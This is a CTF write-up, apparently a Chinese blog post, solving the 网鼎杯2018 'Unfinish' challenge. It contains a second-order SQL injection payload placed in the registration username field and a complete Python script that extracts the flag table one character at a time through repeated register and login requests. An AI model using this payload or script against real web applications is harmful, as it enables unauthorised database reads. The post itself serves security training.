[网鼎杯2018]Unfinish

[网鼎杯2018]Unfinish

二次注入

disearch扫一下,有login.php,还有register.php,对应登录注册功能
推测有二次注入,测试一下

注册时
12345678@qq.com
0'+ascii(substr((select * from flag)from 1 for 1))+'0;
123456

回显
在这里插入图片描述
fuzz的时候,发现, information被过滤了,看师傅们的wp,都是直接猜字段名为flag,然后读取flag

import requests
import re


url = "http://4bd9c0c6-6363-43dc-bb93-416152229cb2.node4.buuoj.cn:81/"
url_login = url + 'login.php'
url_register = url + "register.php"
flag = ''

for i in range(1,50):
    data1 = {#注册
        "email":"3333{}@qq.com".format(i),
        "username":"0'+ascii(substr((select * from flag)from {} for 1))+'0;".format(i),
        "password":"123456"
    }
    data2 = {#登录
        "email":"3333{}@qq.com".format(i),
        "password":"123456"
    }
    ra1 = requests.post(url = url_register,data = data1)
    ra2 = requests.post(url = url_login,data = data2)
    ra1.encoding = "utf-8"
    ra2.encoding = "utf-8"#需要进行编码形式确定
    res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',ra2.text)
    print(res)
    res1 = re.search(r'\d+', res.group())
    print(res1)
    flag = flag+chr(int(res1.group()))
    print(flag)

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值